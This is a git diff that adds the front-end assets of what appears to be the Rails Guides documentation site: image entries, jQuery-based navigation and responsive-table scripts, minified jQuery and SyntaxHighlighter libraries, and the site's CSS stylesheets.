diff --git a/guides/assets/images/icons/callouts/5.png b/guides/assets/images/icons/callouts/5.png
new file mode 100644
index 0000000000..b4de02da11
--- /dev/null
+++ b/guides/assets/images/icons/callouts/5.png
diff --git a/guides/assets/images/icons/callouts/6.png b/guides/assets/images/icons/callouts/6.png
new file mode 100644
index 0000000000..0e055eec1e
--- /dev/null
+++ b/guides/assets/images/icons/callouts/6.png
diff --git a/guides/assets/images/icons/callouts/7.png b/guides/assets/images/icons/callouts/7.png
new file mode 100644
index 0000000000..5ead87d040
--- /dev/null
+++ b/guides/assets/images/icons/callouts/7.png
diff --git a/guides/assets/images/icons/callouts/8.png b/guides/assets/images/icons/callouts/8.png
new file mode 100644
index 0000000000..cb99545eb6
--- /dev/null
+++ b/guides/assets/images/icons/callouts/8.png
diff --git a/guides/assets/images/icons/callouts/9.png b/guides/assets/images/icons/callouts/9.png
new file mode 100644
index 0000000000..0ac03602f6
--- /dev/null
+++ b/guides/assets/images/icons/callouts/9.png
diff --git a/guides/assets/images/icons/caution.png b/guides/assets/images/icons/caution.png
new file mode 100644
index 0000000000..7227b54b32
--- /dev/null
+++ b/guides/assets/images/icons/caution.png
diff --git a/guides/assets/images/icons/example.png b/guides/assets/images/icons/example.png
new file mode 100644
index 0000000000..a0e855befa
--- /dev/null
+++ b/guides/assets/images/icons/example.png
diff --git a/guides/assets/images/icons/home.png b/guides/assets/images/icons/home.png
new file mode 100644
index 0000000000..e70e164522
--- /dev/null
+++ b/guides/assets/images/icons/home.png
diff --git a/guides/assets/images/icons/important.png b/guides/assets/images/icons/important.png
new file mode 100644
index 0000000000..bab53bf3aa
--- /dev/null
+++ b/guides/assets/images/icons/important.png
diff --git a/guides/assets/images/icons/next.png b/guides/assets/images/icons/next.png
new file mode 100644
index 0000000000..a158832725
--- /dev/null
+++ b/guides/assets/images/icons/next.png
diff --git a/guides/assets/images/icons/note.png b/guides/assets/images/icons/note.png
new file mode 100644
index 0000000000..62eec7845f
--- /dev/null
+++ b/guides/assets/images/icons/note.png
diff --git a/guides/assets/images/icons/prev.png b/guides/assets/images/icons/prev.png
new file mode 100644
index 0000000000..8a96960422
--- /dev/null
+++ b/guides/assets/images/icons/prev.png
diff --git a/guides/assets/images/icons/tip.png b/guides/assets/images/icons/tip.png
new file mode 100644
index 0000000000..a5316d318f
--- /dev/null
+++ b/guides/assets/images/icons/tip.png
diff --git a/guides/assets/images/icons/up.png b/guides/assets/images/icons/up.png
new file mode 100644
index 0000000000..6cac818170
--- /dev/null
+++ b/guides/assets/images/icons/up.png
diff --git a/guides/assets/images/icons/warning.png b/guides/assets/images/icons/warning.png
new file mode 100644
index 0000000000..72a8a5d873
--- /dev/null
+++ b/guides/assets/images/icons/warning.png
diff --git a/guides/assets/images/nav_arrow.gif b/guides/assets/images/nav_arrow.gif
new file mode 100644
index 0000000000..ff081819ad
--- /dev/null
+++ b/guides/assets/images/nav_arrow.gif
diff --git a/guides/assets/images/oscardelben.jpg b/guides/assets/images/oscardelben.jpg
new file mode 100644
index 0000000000..9f3f67c2c7
--- /dev/null
+++ b/guides/assets/images/oscardelben.jpg
diff --git a/guides/assets/images/polymorphic.png b/guides/assets/images/polymorphic.png
new file mode 100644
index 0000000000..e0a7f6d64a
--- /dev/null
+++ b/guides/assets/images/polymorphic.png
diff --git a/guides/assets/images/radar.png b/guides/assets/images/radar.png
new file mode 100644
index 0000000000..421b62b623
--- /dev/null
+++ b/guides/assets/images/radar.png
diff --git a/guides/assets/images/rails4_features.png b/guides/assets/images/rails4_features.png
new file mode 100644
index 0000000000..ac73f05cf7
--- /dev/null
+++ b/guides/assets/images/rails4_features.png
diff --git a/guides/assets/images/rails_guides_kindle_cover.jpg b/guides/assets/images/rails_guides_kindle_cover.jpg
new file mode 100644
index 0000000000..f068bd9a04
--- /dev/null
+++ b/guides/assets/images/rails_guides_kindle_cover.jpg
diff --git a/guides/assets/images/rails_guides_logo.gif b/guides/assets/images/rails_guides_logo.gif
new file mode 100644
index 0000000000..f7149a0415
--- /dev/null
+++ b/guides/assets/images/rails_guides_logo.gif
diff --git a/guides/assets/images/rails_logo_remix.gif b/guides/assets/images/rails_logo_remix.gif
new file mode 100644
index 0000000000..58960ee4f9
--- /dev/null
+++ b/guides/assets/images/rails_logo_remix.gif
diff --git a/guides/assets/images/session_fixation.png b/guides/assets/images/session_fixation.png
new file mode 100644
index 0000000000..e009484f09
--- /dev/null
+++ b/guides/assets/images/session_fixation.png
diff --git a/guides/assets/images/tab_grey.gif b/guides/assets/images/tab_grey.gif
new file mode 100644
index 0000000000..995adb76cf
--- /dev/null
+++ b/guides/assets/images/tab_grey.gif
diff --git a/guides/assets/images/tab_info.gif b/guides/assets/images/tab_info.gif
new file mode 100644
index 0000000000..e9dd164f18
--- /dev/null
+++ b/guides/assets/images/tab_info.gif
diff --git a/guides/assets/images/tab_note.gif b/guides/assets/images/tab_note.gif
new file mode 100644
index 0000000000..f9b546c6f8
--- /dev/null
+++ b/guides/assets/images/tab_note.gif
diff --git a/guides/assets/images/tab_red.gif b/guides/assets/images/tab_red.gif
new file mode 100644
index 0000000000..0613093ddc
--- /dev/null
+++ b/guides/assets/images/tab_red.gif
diff --git a/guides/assets/images/tab_yellow.gif b/guides/assets/images/tab_yellow.gif
new file mode 100644
index 0000000000..39a3c2dc6a
--- /dev/null
+++ b/guides/assets/images/tab_yellow.gif
diff --git a/guides/assets/images/tab_yellow.png b/guides/assets/images/tab_yellow.png
new file mode 100644
index 0000000000..053c807d28
--- /dev/null
+++ b/guides/assets/images/tab_yellow.png
diff --git a/guides/assets/images/vijaydev.jpg b/guides/assets/images/vijaydev.jpg
new file mode 100644
index 0000000000..fe5e4f1cb4
--- /dev/null
+++ b/guides/assets/images/vijaydev.jpg
diff --git a/guides/assets/javascripts/guides.js b/guides/assets/javascripts/guides.js
new file mode 100644
index 0000000000..e4d25dfb21
--- /dev/null
+++ b/guides/assets/javascripts/guides.js
@@ -0,0 +1,53 @@
+$.fn.selectGuide = function(guide) {
+  $("select", this).val(guide);
+};
+
+var guidesIndex = {
+  bind: function() {
+    var currentGuidePath = window.location.pathname;
+    var currentGuide = currentGuidePath.substring(currentGuidePath.lastIndexOf("/")+1);
+    $(".guides-index-small").
+      on("change", "select", guidesIndex.navigate).
+      selectGuide(currentGuide);
+    $(document).on("click", ".more-info-button", function(e){
+      e.stopPropagation();
+      if ($(".more-info-links").is(":visible")) {
+        $(".more-info-links").addClass("s-hidden").unwrap();
+      } else {
+        $(".more-info-links").wrap("<div class='more-info-container'></div>").removeClass("s-hidden");
+      }
+    });
+    $("#guidesMenu").on("click", function(e) {
+      $("#guides").toggle();
+      return false;
+    });
+    $(document).on("click", function(e){
+      e.stopPropagation();
+      var $button = $(".more-info-button");
+      var element;
+
+      // Cross browser find the element that had the event
+      if (e.target) element = e.target;
+      else if (e.srcElement) element = e.srcElement;
+
+      // Defeat the older Safari bug:
+      // http://www.quirksmode.org/js/events_properties.html
+      if (element.nodeType === 3) element = element.parentNode;
+
+      var $element = $(element);
+
+      var $container = $element.parents(".more-info-container");
+
+      // We've captured a click outside the popup
+      if($container.length === 0){
+        $container = $button.next(".more-info-container");
+        $container.find(".more-info-links").addClass("s-hidden").unwrap();
+      }
+    });
+  },
+  navigate: function(e){
+    var $list = $(e.target);
+    var url = $list.val();
+    window.location = url;
+  }
+};
diff --git a/guides/assets/javascripts/jquery.min.js b/guides/assets/javascripts/jquery.min.js
new file mode 100644
index 0000000000..93adea19fd
--- /dev/null
+++ b/guides/assets/javascripts/jquery.min.js
@@ -0,0 +1,4 @@
+/*! jQuery v1.7.2 jquery.com | jquery.org/license */
+(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cu(a){if(!cj[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){ck||(ck=c.createElement("iframe"),ck.frameBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.createElement)cl=(ck.contentWindow||ck.contentDocument).document,cl.write((f.support.boxModel?"<!doctype html>":"")+"<html><body>"),cl.close();d=cl.createElement(a),cl.body.appendChild(d),e=f.css(d,"display"),b.removeChild(ck)}cj[a]=e}return cj[a]}function ct(a,b){var c={};f.each(cp.concat.apply([],cp.slice(0,b)),function(){c[this]=a});return c}function cs(){cq=b}function cr(){setTimeout(cs,0);return cq=f.now()}function ci(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ch(){try{return new a.XMLHttpRequest}catch(b){}}function cb(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var 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diff --git a/guides/assets/javascripts/responsive-tables.js b/guides/assets/javascripts/responsive-tables.js
new file mode 100644
index 0000000000..8554a1343b
--- /dev/null
+++ b/guides/assets/javascripts/responsive-tables.js
@@ -0,0 +1,43 @@
+$(document).ready(function() {
+  var switched = false;
+  $("table").not(".syntaxhighlighter").addClass("responsive");
+  var updateTables = function() {
+    if (($(window).width() < 767) && !switched ){
+      switched = true;
+      $("table.responsive").each(function(i, element) {
+        splitTable($(element));
+      });
+      return true;
+    }
+    else if (switched && ($(window).width() > 767)) {
+      switched = false;
+      $("table.responsive").each(function(i, element) {
+        unsplitTable($(element));
+      });
+    }
+  };
+   
+  $(window).load(updateTables);
+  $(window).bind("resize", updateTables);
+   
+	
+	function splitTable(original)
+	{
+		original.wrap("<div class='table-wrapper' />");
+		
+		var copy = original.clone();
+		copy.find("td:not(:first-child), th:not(:first-child)").css("display", "none");
+		copy.removeClass("responsive");
+		
+		original.closest(".table-wrapper").append(copy);
+		copy.wrap("<div class='pinned' />");
+		original.wrap("<div class='scrollable' />");
+	}
+	
+	function unsplitTable(original) {
+    original.closest(".table-wrapper").find(".pinned").remove();
+    original.unwrap();
+    original.unwrap();
+	}
+
+});
diff --git a/guides/assets/javascripts/syntaxhighlighter.js b/guides/assets/javascripts/syntaxhighlighter.js
new file mode 100644
index 0000000000..584aaed716
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter.js
@@ -0,0 +1,20 @@
+/*!
+ * SyntaxHighlighter
+ * https://github.com/syntaxhighlighter/syntaxhighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 4.0.1 (Sun, 03 Jul 2016 06:45:54 GMT)
+ *
+ * @copyright
+ * Copyright (C) 2004-2016 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+
+
+!function(e){function t(r){if(n[r])return n[r].exports;var i=n[r]={exports:{},id:r,loaded:!1};return e[r].call(i.exports,i,i.exports,t),i.loaded=!0,i.exports}var n={};return t.m=e,t.c=n,t.p="",t(0)}([function(e,t,n){"use strict";function r(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(t[n]=e[n]);return t["default"]=e,t}function i(e){return e&&e.__esModule?e:{"default":e}}Object.defineProperty(t,"__esModule",{value:!0});var a=n(1);Object.keys(a).forEach(function(e){"default"!==e&&Object.defineProperty(t,e,{enumerable:!0,get:function(){return a[e]}})});var s=n(28),o=i(s),l=i(a),u=n(29),c=r(u);n(30),(0,o["default"])(function(){return l["default"].highlight(c.object(window.syntaxhighlighterConfig||{}))})},function(e,t,n){"use strict";function r(e){window.alert("SyntaxHighlighter\n\n"+e)}function i(e,t){var n=h.vars.discoveredBrushes,i=null;if(null==n){n={};for(var a in h.brushes){var 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diff --git a/guides/assets/stylesheets/fixes.css b/guides/assets/stylesheets/fixes.css
new file mode 100644
index 0000000000..bf86b29efa
--- /dev/null
+++ b/guides/assets/stylesheets/fixes.css
@@ -0,0 +1,16 @@
+/*
+  Fix a rendering issue affecting WebKits on Mac.
+  See https://github.com/lifo/docrails/issues#issue/16 for more information.
+*/
+.syntaxhighlighter a,
+.syntaxhighlighter div,
+.syntaxhighlighter code,
+.syntaxhighlighter table,
+.syntaxhighlighter table td,
+.syntaxhighlighter table tr,
+.syntaxhighlighter table tbody,
+.syntaxhighlighter table thead,
+.syntaxhighlighter table caption,
+.syntaxhighlighter textarea {
+  line-height: 1.25em !important;
+}
diff --git a/guides/assets/stylesheets/kindle.css b/guides/assets/stylesheets/kindle.css
new file mode 100644
index 0000000000..b26cd1786a
--- /dev/null
+++ b/guides/assets/stylesheets/kindle.css
@@ -0,0 +1,11 @@
+p { text-indent: 0; }
+
+p, H1, H2, H3, H4, H5, H6, H7, H8, table { margin-top: 1em;}
+
+.pagebreak { page-break-before: always; }
+#toc H3 {
+  text-indent: 1em;
+}
+#toc .document {
+  text-indent: 2em;
+}
\ No newline at end of file
diff --git a/guides/assets/stylesheets/main.css b/guides/assets/stylesheets/main.css
new file mode 100644
index 0000000000..b27776745a
--- /dev/null
+++ b/guides/assets/stylesheets/main.css
@@ -0,0 +1,718 @@
+/* Guides.rubyonrails.org */
+/* Main.css */
+/* Created January 30, 2009 */
+/* Modified February 8, 2009
+--------------------------------------- */
+
+/* General
+--------------------------------------- */
+
+.left {float: left; margin-right: 1em;}
+.right {float: right; margin-left: 1em;}
+@media screen and (max-width: 480px) {
+  .left, .right { float: none; }
+}
+.small {font-size: smaller;}
+.large {font-size: larger;}
+.hide {display: none;}
+
+ul, ol { margin: 0 1.5em 1.5em 1.5em; }
+
+ul { list-style-type: disc; }
+ol { list-style-type: decimal; }
+
+dl { margin: 0 0 1.5em 0; }
+dl dt { font-weight: bold; }
+dd { margin-left: 1.5em;}
+
+pre, code {
+  font-size: 1em;
+  font-family: "Anonymous Pro", "Inconsolata", "Menlo", "Consolas", "Bitstream Vera Sans Mono", "Courier New", monospace;
+  line-height: 1.5;
+  margin: 1.5em 0;
+  overflow: auto;
+  color: #222;
+}
+pre, tt, code {
+ white-space: pre-wrap;       /* css-3 */
+ white-space: -moz-pre-wrap !important;  /* Mozilla, since 1999 */
+ white-space: -pre-wrap;      /* Opera 4-6 */
+ white-space: -o-pre-wrap;    /* Opera 7 */
+ word-wrap: break-word;       /* Internet Explorer 5.5+ */
+}
+
+abbr, acronym { border-bottom: 1px dotted #666; }
+address { margin: 0 0 1.5em; font-style: italic; }
+del { color:#666; }
+
+blockquote { margin: 1.5em; color: #666; font-style: italic; }
+strong { font-weight: bold; }
+em, dfn { font-style: italic; }
+dfn { font-weight: bold; }
+sup, sub { line-height: 0; }
+p {margin: 0 0 1.5em;}
+
+label { font-weight: bold; }
+fieldset { padding:1.4em; margin: 0 0 1.5em 0; border: 1px solid #ccc; }
+legend { font-weight: bold; font-size:1.2em; }
+
+input.text, input.title,
+textarea, select {
+  margin:0.5em 0;
+  border:1px solid #bbb;
+}
+
+table {
+  margin: 0 0 1.5em;
+  border: 2px solid #CCC;
+  background: #FFF;
+  border-collapse: collapse;
+}
+
+table th, table td {
+  padding: 0.25em 1em;
+  border: 1px solid #CCC;
+  border-collapse: collapse;
+}
+
+table th {
+  border-bottom: 2px solid #CCC;
+  background: #EEE;
+  font-weight: bold;
+  padding: 0.5em 1em;
+}
+
+img {
+  max-width: 100%;
+}
+
+
+/* Structure and Layout
+--------------------------------------- */
+
+body {
+  text-align: center;
+  font-family: Helvetica, Arial, sans-serif;
+  font-size: 87.5%;
+  line-height: 1.5em;
+  background: #fff;
+  color: #999;
+}
+
+.wrapper {
+  text-align: left;
+  margin: 0 auto;
+  max-width: 960px;
+  padding: 0 1em;
+}
+
+.red-button {
+  display: inline-block;
+  border-top: 1px solid rgba(255,255,255,.5);
+  background: #751913;
+  background: -webkit-gradient(linear, left top, left bottom, from(#c52f24), to(#751913));
+  background: -webkit-linear-gradient(top, #c52f24, #751913);
+  background: -moz-linear-gradient(top, #c52f24, #751913);
+  background: -ms-linear-gradient(top, #c52f24, #751913);
+  background: -o-linear-gradient(top, #c52f24, #751913);
+  padding: 9px 18px;
+  -webkit-border-radius: 11px;
+  -moz-border-radius: 11px;
+  border-radius: 11px;
+  -webkit-box-shadow: rgba(0,0,0,1) 0 1px 0;
+  -moz-box-shadow: rgba(0,0,0,1) 0 1px 0;
+  box-shadow: rgba(0,0,0,1) 0 1px 0;
+  text-shadow: rgba(0,0,0,.4) 0 1px 0;
+  color: white;
+  font-size: 15px;
+  font-family: Helvetica, Arial, Sans-Serif;
+  text-decoration: none;
+  vertical-align: middle;
+  cursor: pointer;
+}
+.red-button:active {
+  border-top: none;
+  padding-top: 10px;
+  background: -webkit-gradient(linear, left top, left bottom, from(#751913), to(#c52f24));
+  background: -webkit-linear-gradient(top, #751913, #c52f24);
+  background: -moz-linear-gradient(top, #751913, #c52f24);
+  background: -ms-linear-gradient(top, #751913, #c52f24);
+  background: -o-linear-gradient(top, #751913, #c52f24);
+}
+
+#topNav {
+  padding: 1em 0;
+  color: #565656;
+  background: #222;
+}
+
+.s-hidden {
+  display: none;
+}
+
+@media screen and (min-width: 1025px) {
+  .more-info-button {
+    display: none;
+  }
+  .more-info-links {
+    list-style: none;
+    display: inline;
+    margin: 0;
+  }
+
+  .more-info {
+    display: inline-block;
+  }
+  .more-info:after {
+    content: " |";
+  }
+
+  .more-info:last-child:after {
+    content: "";
+  }
+}
+
+@media screen and (max-width: 1024px) {
+  #topNav .wrapper { text-align: center; }
+  .more-info-button {
+    position: relative;
+    z-index: 25;
+  }
+
+  .more-info-label {
+    display: none;
+  }
+
+  .more-info-container {
+    position: absolute;
+    top: .5em;
+    z-index: 20;
+    margin: 0 auto;
+    left: 0;
+    right: 0;
+    width: 20em;
+  }
+
+  .more-info-links {
+    display: block;
+    list-style: none;
+    background-color: #c52f24;
+    border-radius: 5px;
+    padding-top: 5.25em;
+    border: 1px #980905 solid;
+  }
+  .more-info-links.s-hidden {
+    display: none;
+  }
+  .more-info {
+    padding: .75em;
+    border-top: 1px #980905 solid;
+  }
+  .more-info a, .more-info a:link, .more-info a:visited {
+    display: block;
+    color: white;
+    width: 100%;
+    height: 100%;
+    text-decoration: none;
+    text-transform: uppercase;
+  }
+}
+
+#header {
+  background: #c52f24 url(../images/header_tile.gif) repeat-x;
+  color: #FFF;
+  padding: 1.5em 0;
+  z-index: 99;
+}
+
+#feature {
+  background: #d5e9f6 url(../images/feature_tile.gif) repeat-x;
+  color: #333;
+  padding: 0.5em 0 1.5em;
+}
+
+#container {
+  color: #333;
+  padding: 0.5em 0 1.5em 0;
+}
+
+#mainCol {
+  max-width: 630px;
+  margin-left: 2em;
+}
+
+#subCol {
+  position: absolute;
+  z-index: 0;
+  top: 21px;
+  right: 0;
+  background: #FFF;
+  padding: 1em 1.5em 1em 1.25em;
+  width: 17em;
+  font-size: 0.9285em;
+  line-height: 1.3846em;
+  margin-right: 1em;
+}
+
+
+@media screen and (max-width: 800px) {
+  #subCol {
+    position: static;
+    width: inherit;
+    margin-left: -1em;
+    margin-right: 0;
+    padding-right: 1.25em;
+  }
+}
+
+#extraCol {display: none;}
+
+#footer {
+  padding: 2em 0;
+  background: #222 url(../images/footer_tile.gif) repeat-x;
+}
+#footer .wrapper {
+  padding-left: 1em;
+  max-width: 960px;
+}
+
+#header .wrapper, #topNav .wrapper, #feature .wrapper {padding-left: 1em; max-width: 960px;}
+#feature .wrapper {max-width: 640px; padding-right: 23em; position: relative; z-index: 0;}
+
+@media screen and (max-width: 800px) {
+  #feature .wrapper { padding-right: 0; }
+}
+
+/* Links
+--------------------------------------- */
+
+a, a:link, a:visited {
+  color: #ee3f3f;
+  text-decoration: underline;
+}
+
+#mainCol a, #subCol a, #feature a {color: #980905;}
+#mainCol a code, #subCol a code, #feature a code {color: #980905;}
+
+#mainCol a.anchorlink, #mainCol a.anchorlink code {color: #333;}
+#mainCol a.anchorlink { text-decoration: none; }
+#mainCol a.anchorlink:hover { text-decoration: underline; }
+
+/* Navigation
+--------------------------------------- */
+
+.nav {
+  margin: 0;
+  padding: 0;
+  list-style: none;
+  float: right;
+  margin-top: 1.5em;
+  font-size: 1.2857em;
+}
+
+.nav .nav-item {color: #FFF; text-decoration: none;}
+.nav .nav-item:hover {text-decoration: underline;}
+
+.guides-index-large, .guides-index-small .guides-index-item {
+  padding: 0.5em 1.5em;
+  border-radius: 1em;
+  -webkit-border-radius: 1em;
+  -moz-border-radius: 1em;
+  background: #980905;
+  position: relative;
+  color: white;
+}
+
+.guides-index .guides-index-item {
+  background: #980905 url(../images/nav_arrow.gif) no-repeat right top;
+  padding-right: 1em;
+  position: relative;
+  z-index: 15;
+  padding-bottom: 0.125em;
+}
+
+.guides-index:hover .guides-index-item, .guides-index .guides-index-item:hover {
+  background-position: right -81px;
+  text-decoration: underline !important;
+}
+
+@media screen and (min-width: 481px) {
+  .nav {
+    float: right;
+    margin-top: 1.5em;
+    font-size: 1.2857em;
+  }
+  .nav>li {
+    display: inline;
+    margin-left: 0.5em;
+  }
+  .guides-index.guides-index-small {
+    display: none;
+  }
+}
+
+@media screen and (max-width: 480px) {
+  .nav {
+    float: none;
+    width: 100%;
+    text-align: center;
+  }
+  .nav .nav-item {
+    display: block;
+    margin: 0;
+    width: 100%;
+    background-color: #980905;
+    border: solid 1px #620c04;
+    border-top: 0;
+    padding: 15px 0;
+    text-align: center;
+  }
+  .nav .nav-item, .nav-item.guides-index-item {
+    text-transform: uppercase;
+  }
+  .nav .nav-item:first-child, .nav-item.guides-index-small {
+    border-top: solid 1px #620c04;
+  }
+  .guides-index.guides-index-small {
+    display: block;
+    margin-top: 1.5em;
+  }
+  .guides-index.guides-index-large {
+    display: none;
+  }
+  .guides-index-small .guides-index-item {
+    font: inherit;
+    padding-left: .75em;
+    font-size: .95em;
+    background-position: 96% 16px;
+    -webkit-appearance: none;
+  }
+  .guides-index-small .guides-index-item:hover{
+    background-position: 96% -65px;
+  }
+}
+
+#guides {
+  width: 27em;
+  display: block;
+  background: #980905;
+  border-radius: 1em;
+  -webkit-border-radius: 1em;
+  -moz-border-radius: 1em;
+  -webkit-box-shadow: 0.25em 0.25em 1em rgba(0,0,0,0.25);
+  -moz-box-shadow: rgba(0,0,0,0.25) 0.25em 0.25em 1em;
+  color: #f1938c;
+  padding: 1.5em 2em;
+  position: absolute;
+  z-index: 10;
+  top: -0.25em;
+  right: 0;
+  padding-top: 2em;
+}
+
+#guides dt, #guides dd {
+  font-weight: normal;
+  font-size: 0.722em;
+  margin: 0;
+  padding: 0;
+}
+#guides dt {padding:0; margin: 0.5em 0 0;}
+#guides a {color: #FFF; background: none !important; text-decoration: none;}
+#guides a:hover {text-decoration: underline;}
+#guides .L, #guides .R {float: left; width: 50%; margin: 0; padding: 0;}
+#guides .R {float: right;}
+#guides hr {
+  display: block;
+  border: none;
+  height: 1px;
+  color: #f1938c;
+  background: #f1938c;
+}
+
+/* Headings
+--------------------------------------- */
+
+h1 {
+  font-size: 2.5em;
+  line-height: 1em;
+  margin: 0.6em 0 .2em;
+  font-weight: bold;
+}
+
+h2 {
+  font-size: 2.1428em;
+  line-height: 1em;
+  margin: 0.7em 0 .2333em;
+  font-weight: bold;
+}
+
+@media screen and (max-width: 480px) {
+  h2 {
+    font-size: 1.45em;
+  }
+}
+
+h3 {
+  font-size: 1.7142em;
+  line-height: 1.286em;
+  margin: 0.875em 0 0.2916em;
+  font-weight: bold;
+}
+
+@media screen and (max-width: 480px) {
+  h3 {
+    font-size: 1.45em;
+  }
+}
+
+h4 {
+  font-size: 1.2857em;
+  line-height: 1.2em;
+  margin: 1.6667em 0 .3887em;
+  font-weight: bold;
+}
+
+h5 {
+  font-size: 1em;
+  line-height: 1.5em;
+  margin: 1em 0 .5em;
+  font-weight: bold;
+}
+
+h6 {
+  font-size: 1em;
+  line-height: 1.5em;
+  margin: 1em 0 .5em;
+  font-weight: normal;
+}
+
+.section {
+  padding-bottom: 0.25em;
+  border-bottom: 1px solid #999;
+}
+
+/* Content
+--------------------------------------- */
+
+.pic {
+  margin: 0 2em 2em 0;
+}
+
+#topNav strong {color: #999; margin-right: 0.5em;}
+#topNav strong a {color: #FFF;}
+
+#header h1 {
+  float: left;
+  background: url(../images/rails_guides_logo.gif) no-repeat;
+  width: 297px;
+  text-indent: -9999em;
+  margin: 0;
+  padding: 0;
+}
+
+@media screen and (max-width: 480px) {
+  #header h1 {
+    float: none;
+  }
+}
+
+#header h1 a {
+  text-decoration: none;
+  display: block;
+  height: 77px;
+}
+
+#feature p {
+  font-size: 1.2857em;
+  margin-bottom: 0.75em;
+}
+
+@media screen and (max-width: 480px) {
+  #feature p {
+    font-size: 1em;
+  }
+}
+
+#feature ul {margin-left: 0;}
+#feature ul li {
+  list-style: none;
+  background: url(../images/check_bullet.gif) no-repeat left 0.5em;
+  padding: 0.5em 1.75em 0.5em 1.75em;
+  font-size: 1.1428em;
+  font-weight: bold;
+}
+
+#mainCol dd, #subCol dd {
+  padding: 0.25em 0 1em;
+  border-bottom: 1px solid #CCC;
+  margin-bottom: 1em;
+  margin-left: 0;
+  /*padding-left: 28px;*/
+  padding-left: 0;
+}
+
+#mainCol dt, #subCol dt {
+  font-size: 1.2857em;
+  padding: 0.125em 0 0.25em 0;
+  margin-bottom: 0;
+  /*background: url(../images/book_icon.gif) no-repeat left top;
+  padding: 0.125em 0 0.25em 28px;*/
+}
+
+@media screen and (max-width: 480px) {
+  #mainCol dt, #subCol dt {
+    font-size: 1em;
+  }
+}
+
+#mainCol dd.work-in-progress, #subCol dd.work-in-progress {
+  background: #fff9d8 url(../images/tab_yellow.gif) no-repeat left top;
+  border: none;
+  padding: 1.25em 1em 1.25em 48px;
+  margin-left: 0;
+  margin-top: 0.25em;
+}
+
+#mainCol dd.kindle, #subCol dd.kindle {
+  background: #d5e9f6 url(../images/tab_info.gif) no-repeat left top;
+  border: none;
+  padding: 1.25em 1em 1.25em 48px;
+  margin-left: 0;
+  margin-top: 0.25em;
+}
+
+#mainCol div.warning, #subCol dd.warning {
+  background: #f9d9d8 url(../images/tab_red.gif) no-repeat left top;
+  border: none;
+  padding: 1.25em 1.25em 0.25em 48px;
+  margin-left: 0;
+  margin-top: 0.25em;
+}
+
+#subCol .chapters {color: #980905;}
+#subCol .chapters a {font-weight: bold;}
+#subCol .chapters ul a {font-weight: normal;}
+#subCol .chapters li {margin-bottom: 0.75em;}
+#subCol h3.chapter {margin-top: 0.25em;}
+#subCol h3.chapter img {vertical-align: text-bottom;}
+#subCol .chapters ul {margin-left: 0; margin-top: 0.5em;}
+#subCol .chapters ul li {
+  list-style: none;
+  padding: 0 0 0 1em;
+  background: url(../images/bullet.gif) no-repeat left 0.45em;
+  margin-left: 0;
+  font-size: 1em;
+  font-weight: normal;
+}
+
+#subCol li ul, li ol { margin:0 1.5em; }
+
+div.code_container {
+  background: #EEE url(../images/tab_grey.gif) no-repeat left top;
+  padding: 0.25em 1em 0.5em 48px;
+}
+
+.note {
+  background: #fff9d8 url(../images/tab_note.gif) no-repeat left top;
+  border: none;
+  padding: 1em 1em 0.25em 48px;
+  margin: 0.25em 0 1.5em 0;
+}
+
+.info {
+  background: #d5e9f6 url(../images/tab_info.gif) no-repeat left top;
+  border: none;
+  padding: 1em 1em 0.25em 48px;
+  margin: 0.25em 0 1.5em 0;
+}
+
+#mainCol div.todo {
+  background: #fff9d8 url(../images/tab_yellow.gif) no-repeat left top;
+  border: none;
+  padding: 1em 1em 0.25em 48px;
+  margin: 0.25em 0 1.5em 0;
+}
+
+.note code, .info code, .todo code {border:none; background: none; padding: 0;}
+
+#mainCol ul li {
+  list-style:none;
+  background: url(../images/grey_bullet.gif) no-repeat left 0.5em;
+  padding-left: 1em;
+  margin-left: 0;
+}
+
+#subCol .content {
+  font-size: 0.7857em;
+  line-height: 1.5em;
+}
+
+#subCol .content li {
+  font-weight: normal;
+  background: none;
+  padding: 0 0 1em;
+  font-size: 1.1667em;
+}
+
+/* Clearing
+--------------------------------------- */
+
+.clearfix:after {
+  content: ".";
+  display: block;
+  height: 0;
+  clear: both;
+  visibility: hidden;
+}
+
+.clearfix {display: inline-block;}
+* html .clearfix {height: 1%;}
+.clearfix {display: block;}
+.clear { clear:both; }
+
+/* Same bottom margin for special boxes than for regular paragraphs, this way
+intermediate whitespace looks uniform. */
+div.code_container, div.important, div.caution, div.warning, div.note, div.info {
+  margin-bottom: 1.5em;
+}
+
+/* Remove bottom margin of paragraphs in special boxes, otherwise they get a
+spurious blank area below with the box background. */
+div.important p, div.caution p, div.warning p, div.note p, div.info p {
+  margin-bottom: 1em;
+}
+
+/* Edge Badge
+--------------------------------------- */
+
+#edge-badge {
+  position: fixed;
+  right: 0px;
+  top: 0px;
+  z-index: 100;
+  border: none;
+}
+
+/* Foundation v2.1.4 http://foundation.zurb.com */
+/* Artfully masterminded by ZURB  */
+
+table th { font-weight: bold; }
+table td, table th { padding: 9px 10px; text-align: left; }
+
+/* Mobile */
+@media only screen and (max-width: 767px) {
+  table.responsive { margin-bottom: 0; }
+
+  .pinned { position: absolute; left: 0; top: 0; background: #fff; width: 35%; overflow: hidden; overflow-x: scroll; border-right: 1px solid #ccc; border-left: 1px solid #ccc; }
+  .pinned table { border-right: none; border-left: none; width: 100%; }
+  .pinned table th, .pinned table td { white-space: nowrap; }
+  .pinned td:last-child { border-bottom: 0; }
+
+  div.table-wrapper { position: relative; margin-bottom: 20px; overflow: hidden; border-right: 1px solid #ccc; }
+  div.table-wrapper div.scrollable table { margin-left: 35%; }
+  div.table-wrapper div.scrollable { overflow: scroll; overflow-y: hidden; }
+
+  table.responsive td, table.responsive th { position: relative; white-space: nowrap; overflow: hidden; }
+  table.responsive th:first-child, table.responsive td:first-child, table.responsive td:first-child, table.responsive.pinned td { display: none; }
+
+}
diff --git a/guides/assets/stylesheets/print.css b/guides/assets/stylesheets/print.css
new file mode 100644
index 0000000000..bdc8ec948d
--- /dev/null
